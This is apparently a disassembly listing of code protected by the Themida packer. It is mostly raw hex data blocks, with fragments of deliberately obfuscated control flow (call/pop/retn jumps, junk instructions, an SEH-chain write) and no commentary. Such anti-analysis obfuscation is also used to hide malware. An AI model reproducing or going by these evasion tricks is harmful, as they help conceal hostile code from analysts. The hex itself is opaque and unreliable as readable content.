		dd 0F2E9D85h, 4C28306h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 92C35242h, 0BD299D2Dh, 0EF7D573Ah, 205089DDh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 27C35242h
		dd 10DD9D23h, 8D31060Fh, 60F33DDh, 0CF14858Dh, 0B5290612h
		dd 60F1459h, 0B88689h, 0BD890000h, 60F33E5h, 6A006AF9h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 3C2FC353h, 1A681030h, 0A870FC0h, 60000000h
		dd 8D8BBEB3h, 60F2B99h,	0C8E0BB61h, 0B5FF2BC9h,	612BAC6h
		dd 30FD95FFh, 0ACBF060Fh, 967D9FDEh, 178B0Fh, 0BE80000h
		dd 8B000000h, 73594925h, 29A52139h, 52506A95h, 585A310Fh
		dd 0BF66505Fh, 81969DB5h, 489CAAC7h, 0C6B5FF1Eh, 0F90612BAh
		dd 12E595FFh, 6A060Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 91D126C3h, 8975D901h, 0F0109B5h
		dd 12E95606h, 6C000000h, 686B57B8h, 3A81DEEFh, 0EA4BE503h
		dd 785661F1h, 0BD835BB6h, 60F27A1h, 2E840F00h, 8B000000h
		dd 0F04C59Dh, 8B509606h, 6A96F9h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 8BA935C3h, 0F1E799Dh
		dd 0C6B5FF06h, 6A0612BAh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0CDE3C353h,	92B4BB82h
		dd 909EB5F6h, 89FABF0Fh, 0F15ADBDh, 1595FF06h, 0E9060F34h
		dd 13h,	65A4EAD4h, 7E14CD15h, 281E1B76h, 0A7459D31h, 9B36D11h
		dd 0F0A5585h, 0C6B5FF06h, 0F0612BAh, 9D89F8B7h,	60F1D6Dh
		dd 0AF595FFh, 9D03060Fh, 60F1889h, 7A9BD83h, 0F02060Fh
		dd 2984h, 0AD858900h, 60060F1Ch, 11ADB531h, 8589060Fh
		dd 60F27D9h, 8D858B61h,	8B060F2Ch, 0F12419Dh, 0C606h, 1A19D29h
		dd 85C7060Fh, 60F106Dh,	0
; ---------------------------------------------------------------------------
		jmp	loc_594271
; ---------------------------------------------------------------------------
		db 0DCh, 0DAh, 0D2h
		dd 6CA49333h
		db 1
; ---------------------------------------------------------------------------


loc_594271:				; CODE XREF: Themida_:00594264j
		mov	di, si
		jmp	near ptr dword_5932FC+29Eh
; ---------------------------------------------------------------------------
		mov	di, 0DB2Bh
		mov	eax, ecx
		cmc
		lea	eax, [ebp+60F1461h]
		push	0
		push	ebx
		call	sub_594291
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594291	proc near		; CODE XREF: Themida_:00594289p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_594291	endp

; ---------------------------------------------------------------------------
		db 30h,	0A0h, 0D0h
		dd 1E42FF32h, 9E98371h,	0AB000000h, 48DDC30Ch, 0D611EE35h
		dd 0F505090h, 68Dh, 0F525000h, 5B585A31h, 56006A90h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 26E73533h, 0E9006A21h, 9, 70D08E3Fh,	8E1A76EFh, 60006A45h
		dd 7E99D89h, 0BD89060Fh, 60F3211h, 94858D61h, 6A061395h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0EA84C351h, 379F9034h, 0C0838A94h, 0D98B6605h
		dd 895F5650h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 75DA91C3h, 52C57CE1h, 9D8B6B56h
		dd 60F27F9h, 1D5D9531h,	6A060Fh, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 19h, 0BFC35141h,	9804750Fh, 14E952B3h
		dd 95000000h, 0AA327D20h, 11A0377Bh, 217341B0h,	0D63D77DFh
		dd 5F7182F3h, 0D780006Ah, 8D95FF37h, 8B060F34h,	0F0AC9BDh
		dd 5E8D8D06h, 6A061298h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 3D8C352h, 0FF245543h
		dd 719D89D1h, 83060F33h, 0F21ADBDh, 850F0106h, 66h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0CAC35545h, 8A9C1CCFh
		dd 0E922B8B1h, 7, 7A9A47Eh, 6A37EEC3h, 21BF6602h, 0B3609067h
		dd 79BB50C9h, 5A1CCB9Bh, 9E85061h, 63000000h, 8A24CAF0h
		dd 440E8989h, 6208BBh, 66905B7Dh, 95FFFA8Bh, 60F30FDh
		dd 244DBD89h, 74E9060Fh, 0E800000Eh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 613959Eh
		mov	ebx, 2F5352F0h
		push	0
		push	edi
		call	sub_59447F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59447F	proc near		; CODE XREF: Themida_:00594477p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_59447F	endp

; ---------------------------------------------------------------------------
		db 0A5h
		dd 0D84E62Dh, 0BE843h, 2D460000h, 0BDD3A2C9h, 0BAF0F3ACh
		dd 0BB66607Ah, 8B660FE5h, 8D5F61DAh, 12884785h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0F5093F5h, 85h, 24048900h, 31D1BD8Bh, 0FF64060Fh, 35h
		dd 6D9D8900h, 64060F1Bh, 2589h,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 890D3AC3h
		dd 0F22919Dh, 31BD8906h, 0FF060F09h, 0F245985h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 88E366E0h, 38D0FE3h,	0F000000h, 9D8BDBBFh, 60F0805h
		dd 0F60FF6Ah, 281h, 60D38B00h, 32959D29h, 6161060Fh, 1605B5FFh
		dd 6A060Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 6347FAC3h, 8BF8AD45h, 0F1835BDh, 5595FF06h
		dd 0E9060F14h, 12Eh, 0D6F1F781h, 0B03FB9h, 31850160h, 8B060F01h
		dd 0BD0361C3h, 60F0561h, 9D2B70E6h, 60F1635h, 26B19531h
		dd 71E4060Fh, 2A71BD89h, 613C060Fh, 0F8830Fh, 9D230000h
		dd 60F3289h, 89C8B60Fh,	0F14EDBDh, 6BA06h, 85890000h, 60F1A69h
		dd 0BE8C18Bh, 0AF000000h, 0BFF89367h, 6ABEDBD0h, 0B509CCA7h
		dd 60F18BDh, 4E8C15Bh, 1A09BD01h, 8166060Fh, 66E9F5DBh
		dd 0E950E2F7h, 0Dh, 0ECA413A9h,	7910C7D3h, 0E0D2A969h
		dd 0C82B5BCAh, 0AE9h, 0FE8D1600h, 37B9FE83h, 0FAD377Eh
		dd 0D18BFFBFh, 2E9DA8Ah, 8B000000h, 0C9858BF8h,	53060F26h
		dd 835BDF8Bh, 0BD8B07C0h, 60F1005h, 0E800C083h,	7, 25884514h
		dd 0FBED968h, 68Ch, 6D8D8900h, 5F060F00h, 830FD03Bh, 19h
		dd 507CBF66h, 28CD9D33h, 3BE9060Fh, 60000000h, 8961F98Bh
		dd 0F22118Dh, 0C18D8B06h, 31060F34h, 0F22098Dh,	1E18306h
		dd 1C840Fh, 0BB660000h,	0A5838971h, 60F34C1h, 0C99589FEh
		dd 29060F26h, 0F10098Dh, 0E906h, 0B58D0000h, 6130AF3h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 47C35343h
		dd 3321B589h, 0BB66060Fh, 6A296Dh, 95FFFA8Bh, 60F3451h
		dd 0A5B98EB7h, 6A000007h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0A0DBC356h,	8B4BD4D5h
		dd 0F1351BDh, 0FCE18306h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 0DDC35242h, 0FCD88B78h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 7BC35747h, 0F66CA3F9h
		dd 2D59B589h, 0C02B060Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 67C35545h, 0D22BA126h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 0A4C35141h, 3321FFE7h
		dd 3C2E0C28h, 1D018589h, 0BD8B060Fh, 60F21EDh, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 7DC35141h, 0B3D4B99Dh, 0D98D89EEh, 0D060F18h
		dd 88h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch
		dd 0E1C35343h, 8629D4A3h, 9DF208A5h, 0FBADE781h, 958B662Eh
		dd 60F2C65h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	60C35040h, 9E9DEh, 0EC820000h, 0B9B0B931h, 8BEC0E61h
		dd 0F07C18Dh, 48C0F06h,	66000000h, 507F59BBh, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 56006A58h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 6A76C2h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 1AA09AC3h, 0BBCF6108h, 7D71062Ch, 2AD5BD83h,	0F00060Fh
		dd 7684h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 1D195246h, 98FE002Ch, 0B8C8B3h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 6366C355h, 0D88B665Ah, 4CA78D8Dh,	90BF060Fh
		dd 0FF3A9DB2h, 50006AE1h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 834DE174h, 0F2491BDh
		dd 840F0006h, 3F9h, 0FE9h, 0BEED9300h, 59F5EB04h, 56B66A17h
		dd 0D7A8E2B7h, 2491BD83h, 0F01060Fh, 3F384h, 2D8D8900h
		dd 83060F13h, 0F2491BDh, 860F0306h, 3AAh, 0E960D88Ah, 11h
		dd 0CEC8FA9h, 0C6567752h, 5CBDC32Ch, 0B159332h,	0D98C66DDh
		dd 44CC70BBh, 4E1803Eh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 3FC35343h, 0C542E470h, 1DCCA2D8h, 9E9CE781h
		dd 0C90A4D69h, 0F9840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 6CECEFC3h, 8B66AE29h
		dd 29C380FEh, 2DA9858Bh, 6A060Fh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 8B1488C3h, 12E9h, 886F5900h
		dd 0BF9E6ACFh, 2E8D46E6h, 6770D853h, 0F6E81CAh,	8533FFBFh
		dd 60F19ADh, 90DE8B66h,	870F5150h, 11h,	0CE9h, 0A5505200h
		dd 7C4DA4D2h, 78B92931h, 0F905B03h, 6AF9BFh, 913AAE68h
		dd 66525009h, 0FEF65BBh, 7E831h, 0C3BE0000h, 0AD9C7597h
		dd 7CBB66A9h, 585A5B66h, 51243481h, 6A098E39h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0B200C353h, 9CEA1C7Dh, 7DBD8B18h, 0FF060F0Fh, 0F34C995h
		dd 0FFBF0F06h, 85895F56h, 612BAC6h, 223E9h, 2D9D8B00h
		dd 8B060F0Dh, 12BABE85h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0B8519181h, 1800C7h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0B70972C3h, 0D235D49Fh, 6880F14h, 23000000h,	0F19A19Dh
		dd 0C2B58B06h, 0F0612BAh, 8Bh, 0A9858B00h, 6A060F2Fh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 5980C356h, 57C9A8B4h, 89781F02h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 7B58BD27h
		dd 1AFB118Dh, 75BD8B51h, 8B060F32h, 0F2DA985h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0F707999h, 687h, 0D953100h, 89060F16h, 95090446h, 60F0D11h
		dd 4890F50h, 66000000h,	89097BBBh, 78B72434h, 0BABEB5FFh
		dd 0BD890612h, 60F07BDh, 62BB6660h, 0B59D8BFEh,	61060F1Ch
		dd 4E8h, 1F03FF00h, 0FC8A5000h,	0FEBF505Bh, 8B42BA14h
		dd 8B042444h, 24448900h, 58D0F04h, 56000000h, 5BF98B66h
		dd 6820F58h, 81000000h,	0D60405F3h, 0CE90Fh, 59450000h
		dd 0B16A1847h, 3420D698h, 858DD556h, 612BAC6h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 19C35242h, 0E904246Ch
		dd 9D8B60D8h, 60F1835h,	8AFBF681h, 906112E2h, 9E8h, 59327200h
		dd 17FA4F96h, 8E0F8715h, 18h, 13E9h, 0C03EFE00h, 87B6FD8Ah
		dd 0A03CBF34h, 26667D6Ch, 0E24713B2h, 0C5BF505Bh, 9029DE4Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 9EC35040h
		dd 0FFF7603Eh, 0F34C995h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0D2ED5FB5h
		dd 0D86DB4BCh, 8D0992BAh, 60F23EDh, 710FBF61h, 85C71F35h
		dd 60F2491h, 3,	1DBD8B52h, 5B060F31h, 0BAC6BD83h, 0F000612h
		dd 1984h, 5D850900h, 0E9060F24h, 29h, 0BA666050h, 9D8B6315h
		dd 60F1E19h, 30505B61h,	4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 6AFB8BC0h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0DCE8C357h
		dd 0FBDFF5B9h, 840F08D8h, 6, 289DBD8Bh,	0BD83060Fh, 60F2491h
		dd 0DE850F03h, 6A000004h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 25E3C353h, 81664311h
		dd 8317C0EBh, 12BAC6BDh, 840F0006h, 4ADh, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ch, 0F9C35747h, 445E838h
		dd 43AD9E68h, 552A38BFh, 0D8B70F26h, 0BAC6B5FFh, 6A0612h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 471274C3h, 0E9C5F48Bh, 11h, 7EC701F7h, 0F0522747h, 382C95A3h
		dd 7A110AA5h, 0FD95FF8Ah, 6A060F27h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0D05BC352h
		dd 15666A67h, 0E6ECE940h, 88BABB66h, 564FD781h,	0B58B54BEh
		dd 612BABAh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	42C35040h, 92F7D776h, 56270B47h, 106C7B6h, 6A000100h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0AF8BC356h, 0C4726E42h, 14E9F0h, 5D630000h
		dd 41F204D7h, 1D343D5Dh, 604D4099h, 0ECD80FECh,	50506EA7h
		dd 11E952h, 0DAC40000h,	8F5453AAh, 0E8CFD6E1h, 0DA6D8E72h
		dd 0FEDEE59h, 68F0F31h,	50000000h, 5A310F52h, 89585A58h
		dd 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_594F42:				; DATA XREF: ___:off_4387E8o
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		db 6Bh,	50h, 0E4h
		dd 0E0EB5122h, 23FB25ADh, 0F1CC19Dh, 7626BF06h,	0B5FF5CC5h
		dd 612BAC6h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	8BC35040h, 0B440D97h, 0FCCECB02h, 181FC7BBh, 195FF7Ch
		dd 8B060F13h, 0BAB58BD8h, 6A0612BAh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 6737C357h
		dd 0F980986Bh, 1D15858Bh, 0F8BF060Fh, 890CB62Ch, 0C486h
		dd 890F5100h, 6, 13B59D33h, 8B5B060Fh, 0F2C6595h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0EF686B57h, 893A81DEh, 0F18AD95h, 4C28306h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 67C35747h, 0C9EEBDF5h
		dd 898F8CEDh, 0F30F9BDh, 20508906h, 74BDF3BFh, 14858D4Ah
		dd 560612CFh, 0D5BD89h,	895F060Fh, 0B886h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 9D294831h, 60F32BDh,	6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0BE563FC3h, 0B70F083Fh
		dd 0FFDE8ADAh, 12BAC6B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0D5DC642Ch
		dd 0E81A00A8h, 6E93317h, 35000000h, 6D0E901Dh, 0FD95FF5Ah
		dd 6A060F30h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0C3EEC352h, 31C300C7h,	96F85B26h
		dd 0FA8B6656h, 5250505Bh, 8E950h, 0C5BF0000h, 0D10A6573h
		dd 0F5B18CDh, 5ADD8A31h, 9D8B9658h, 60F0C91h, 0BAC6B5FFh
		dd 0BD8B0612h, 60F1165h, 12E595FFh, 5353060Fh, 5E9h, 63D32800h
		dd 5F5B2E71h, 27A1BD83h, 0F00060Fh, 4484h, 0BD895000h
		dd 60F2CEDh, 0C8B0F5Bh,	0E9000000h, 7, 0B9372ABFh, 50D4340Eh
		dd 6A243489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0EFABC351h, 8BDA8B66h,	0F15DD9Dh
		dd 0C6B5FF06h, 0F0612BAh, 681h,	659D8B00h, 0FF060F08h
		dd 0F341595h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 89F9E38Dh, 0F17FD95h, 0C6B5FF06h
		dd 6A0612BAh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 8280C355h, 95FF68B0h, 60F0AF5h
		dd 0AE8h, 0A3C4C300h, 0B07E4609h, 668BF1B4h, 0F85BDF8Bh
		dd 7A9BD83h, 0F02060Fh,	5984h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0F7DF8146h
		dd 0E93D309Bh, 0Dh, 83F2DEEEh, 1CABB452h, 0FC8E73D8h, 8D858B3Bh
		dd 0BB060F2Ch, 7C90FCF0h, 90000C6h, 0F19F585h, 0CE906h
		dd 1ED20000h, 0B1C2E2C1h, 0A7E4F3E0h, 85C71D96h, 60F106Dh
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_595283
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_595283	proc near		; CODE XREF: Themida_:0059527Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_595283	endp

; ---------------------------------------------------------------------------
		db 30h
		dd 6D7D9D99h, 66D4C707h, 0B7347CBFh, 0F2AEE9DAh, 0BD8BFFFFh
		dd 60F1C81h, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 53C9BCC3h, 0DD24337Dh, 0D19D8973h
		dd 8D060F29h, 0F146185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 47ED32BEh, 0CF85D22Ch
		dd 9E8E321h, 20000000h,	0E6505DB2h, 87ED7281h, 2E898D89h
		dd 905B060Fh, 90690BBFh, 52505069h, 0F60310Fh, 87h, 830F00h
		dd 61000000h, 8990585Ah, 0F34ED8Dh, 6A006A06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 757FC353h, 0DF0B9FF4h, 8B348A31h, 0E9006AFBh, 6, 0D76D4DA7h
		dd 858DEA94h, 613A653h,	23798589h, 0C083060Fh, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 9634E09Ch, 66FC8ABCh, 6BBBCF81h, 0F525050h, 0F85h, 0AE900h
		dd 0CD5F0000h, 75197A46h, 2E7BA36Eh, 0DE9310Fh,	0A4000000h
		dd 0D73A3D33h, 237C170Bh, 269493h, 489585Ah, 0D7F38124h
		dd 6A763EA0h, 0CD9D8900h, 6A060F0Ah, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0DE29FCE4h
		dd 2195295Bh, 89060F22h, 0F08E185h, 8D95FF06h, 6A060F34h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 170AC355h, 0BD03DD25h, 60F2665h, 985E8D8Dh
		dd 9E80612h, 6E000000h,	857E155Ch, 3AA6A23h, 3840Fh, 0B70F0000h
		dd 0D1FF5FDAh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	0B6C35040h, 0D442CD23h,	0D37AC04Eh, 0A98529B5h
		dd 0F060F14h, 0BD83DFBFh, 60F21ADh, 86850F01h, 0E9000000h
		dd 14h,	0A7D505F3h, 0DC642C61h,	1A00A8D5h, 0C63317E8h
		dd 0E8B32B27h, 6A026Ah,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 8192E1C3h, 31253266h, 0F1959BDh
		dd 0AE85006h, 24000000h, 32BB000Fh, 0E710B528h,	6652505Bh
		dd 0FE67CBBh, 8F0F31h, 5A000000h, 4895F58h, 0AE924h, 17100000h
		dd 0AF51FEEBh, 0DAFAA8h, 30FD95FFh, 8A0F060Fh, 5, 786523BFh
		dd 0D0AE942h, 0E80000h,	5D000000h, 0A65DED81h, 8E90613h
		dd 0C5000000h, 8A851Fh,	6AFAC4ACh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0F452C357h
		dd 816603C2h, 8D997FDFh, 12884785h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0DF125C9Dh
		dd 7AED373Eh, 0FA8B507Eh, 1240489h, 0F33E98Dh, 35FF6406h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5955A7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5955A7	proc near		; CODE XREF: Themida_:0059559Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5955A7	endp

; ---------------------------------------------------------------------------
		adc	al, 4Eh
		add	[eax+64h], al
		mov	large ds:0, esp
		push	0
		push	esi
		call	sub_5955CD
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5955CD	proc near		; CODE XREF: Themida_:005955C5p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5955CD	endp

; ---------------------------------------------------------------------------
		db 0DFh, 31h, 8Ah
		dd 0F0437034h, 35C380EAh, 7E8h,	2DADB800h, 2EAEA15Eh, 5519C781h
		dd 0FF5B7247h, 0F245985h, 85295706h, 60F3401h, 6AFF6A5Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0D110C351h, 0E5E8D85Bh, 0A6C04AC2h, 4294BB66h
		dd 5E9h, 0FE272300h, 0B5FF2D75h, 60F3469h, 2D1DBD23h, 95FF060Fh
		dd 60F1455h, 117E9h, 8B00B000h,	0F30799Dh, 2B70E606h, 0F2EAD9Dh
		dd 0C7EFBF06h, 71E40C43h, 613C72B3h, 0F6830Fh, 85890000h
		dd 60F0131h, 8BC8B60Fh,	0F12599Dh, 8D8B6006h, 60F1011h
		dd 1CAD8523h, 0BA61060Fh, 6, 14E8h, 85A21300h, 0F921451Fh
		dd 246ABDD9h, 7B447DAAh, 0E9FFDFD9h, 5BFB8BB1h,	820FC18Bh
		dd 0
; ---------------------------------------------------------------------------
		shr	eax, 4
		pusha
		mov	[ebp+60F2D2Dh],	ecx
		popa
		add	[ebp+60F28A9h],	edi
		mul	dx
		or	edi, [ebp+60F0941h]
		jo	loc_5956E0
		mov	bx, 8D1Dh


loc_5956E0:				; CODE XREF: Themida_:005956D6j
		sub	ecx, eax
		mov	ebx, [ebp+60F3331h]
		mov	edx, ecx
		adc	ebx, 21DD1C1Dh
		jmp	loc_595700
; ---------------------------------------------------------------------------
		jb	loc_595700
		mov	ebx, 1F7C33C3h


loc_595700:				; CODE XREF: Themida_:005956F0j
					; Themida_:005956F5j
		mov	eax, [ebp+60F2391h]
		mov	ebx, edi
		add	eax, 7
		cmc
		add	eax, 0
		jmp	loc_595727
; ---------------------------------------------------------------------------
		dd 0E598B664h, 51B4D0B2h, 484ECC85h, 5AD703CCh
		db 4Ch,	0EBh, 0DDh
; ---------------------------------------------------------------------------


loc_595727:				; CODE XREF: Themida_:0059570Fj
		cmp	edx, eax
		jnb	loc_595740
		or	ebx, 708E69BEh
		jmp	loc_59576C
; ---------------------------------------------------------------------------
		add	[ebp+60F1629h],	ebx


loc_595740:				; CODE XREF: Themida_:00595729j
		mov	ecx, [ebp+60F2FF9h]
		mov	edi, 4DF08C4Ch
		and	ecx, 1
		jz	loc_59576C
		and	dword ptr [ebp+60F2FF9h], 0FFFFFFFEh
		mov	[ebp+60F2391h],	edx
		mov	ebx, [ebp+60F34C5h]
		jmp	$+5


loc_59576C:				; CODE XREF: Themida_:00595735j
					; Themida_:0059574Ej
		lea	esi, [ebp+6131A73h]
		push	0
		push	ebx
		call	sub_59577D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59577D	proc near		; CODE XREF: Themida_:00595775p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_59577D	endp

; ---------------------------------------------------------------------------
		jg	short loc_5957D7
		mov	edi, 0AE4B8D3h
		cmp	bh, dh
		jmp	loc_5957A6
; ---------------------------------------------------------------------------
		dd 61DE4F3Ah, 3BE57345h
		db 30h,	99h
; ---------------------------------------------------------------------------


loc_5957A6:				; CODE XREF: Themida_:00595797j
		push	0
		push	0
		push	esi
		call	sub_5957B3
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5957B3	proc near		; CODE XREF: Themida_:005957ABp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5957B3	endp

; ---------------------------------------------------------------------------
		db 33h
		dd 42A6685Ch, 5166D2FFh, 56F498BBh, 95FF5B1Bh
; ---------------------------------------------------------------------------
		push	ecx
		xor	al, 0Fh


loc_5957D7:				; CODE XREF: Themida_:0059578Dj
		push	es
		mov	ebx, 5C93D86Eh
		mov	ecx, 7DFh
		mov	ebx, [ebp+60F0B45h]
		and	ecx, 0FFFFFFFCh
		mov	di, 37BBh
		cld
		mov	di, 0A48Ch
		sub	eax, eax
		movzx	edi, si
		mov	edx, 0
		push	0
		push	ecx
		call	sub_595809
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_595809	proc near		; CODE XREF: Themida_:00595801p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_595809	endp

; ---------------------------------------------------------------------------
		mov	ah, 8Ah
		mov	ecx, 81FDE05Bh
		retf
; ---------------------------------------------------------------------------
		db 7Eh,	91h, 0EFh
		dd 0EFC78136h, 0AD55FEF9h, 0E8D1C233h, 0E983D003h, 0FF47504h
